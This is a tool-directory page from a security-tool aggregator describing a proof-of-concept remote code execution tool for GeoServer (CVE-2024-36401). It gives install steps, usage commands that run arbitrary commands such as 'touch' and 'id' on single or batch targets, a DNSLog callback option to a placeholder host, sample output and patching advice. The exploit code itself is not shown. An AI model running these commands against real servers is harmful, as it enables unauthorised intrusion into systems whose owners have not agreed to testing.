Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-36401_Geoserver_RCE_POC — 本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。 | Kitploit
Tools/GitHubGitHub/amoy6228/cve-2024-36401_geoserver_rce_poc
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubamoy6228/cve-2024-36401_geoserver_rce_poc

CVE-2024-36401_Geoserver_RCE_POC

本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
211 year agoNot yet reviewed

Here is the English translation of your README file:


⚠️ Disclaimer: This tool is intended solely for security research and legally authorized testing purposes. Do not use it for any illegal or unauthorized activities. The user assumes full responsibility for any legal consequences.

README Version: [English | 中文]

Vulnerability Description

This script is a Proof of Concept (PoC) detection tool for a Remote Code Execution (RCE) vulnerability in GeoServer (CVE-2024-36401). This vulnerability allows attackers to execute arbitrary commands on the target server by sending specially crafted requests.


Environment Dependencies

Ensure the following dependencies are installed in your environment:

  • Python 3.x
  • Third-party libraries:
    • requests
    • lxml

You can install the required dependencies using the following command:

root@kitploit:~
pip install requests lxml

Usage Instructions

Single Target Detection

root@kitploit:~
python poc.py -u http://target.com -d dnslog.example.com

Or specify a command to execute:

root@kitploit:~
python poc.py -u http://target.com -c "touch /tmp/vulntest"

Batch Detection for Multiple Targets

Prepare a text file containing multiple target URLs (one per line):

root@kitploit:~
python poc.py -uf targets.txt -d dnslog.example.com

Or specify a command:

root@kitploit:~
python poc.py -uf targets.txt -c "id"

For detailed usage instructions: Detailed User Guide


Parameter Descriptions

⚠️ Note: The -d and -c parameters cannot be used simultaneously.


Output Example

root@kitploit:~
[INFO] Retrieved 3 valid Typenames, starting vulnerability detection.
[INFO] Target: http://example.com
[INFO] Executing command: whoami
[INFO] DNSLOG address:

[INFO] Trying typeName: topp:states -> whoami
[+] Command appears to have executed successfully! Target: http://example.com Command: whoami

Script Features

  • Fixes issues in the Nuclei PoC where hardcoded Typenames caused validation failures.
  • Automatically crawls all Typename information and iteratively tests exploitable ones.
  • Supports command execution via the -c parameter.
  • Supports batch testing by providing a URL file.

Security Recommendations

  • Upgrade GeoServer to the latest official version as soon as possible.
  • Implement access control for publicly exposed GeoServer instances.
  • Configure firewalls to restrict access sources for the /geoserver/wfs interface.

Contributions

Feel free to open Issues or submit Pull Requests to help improve this project.


License

This project is licensed under the MIT License. You are free to modify, distribute, or use the software commercially, provided that the original copyright notice is retained.


Let me know if you need any formatting adjustments or further translations!

Download Tool
ParameterDescription
-u, --urlSpecify a single target URL
-uf, --url-fileSpecify the file path containing multiple target URLs
-d, --dnslogSpecify the DNSLog address
-c, --commandSpecify the command to execute on the target system (e.g., whoami, id, curl, etc.)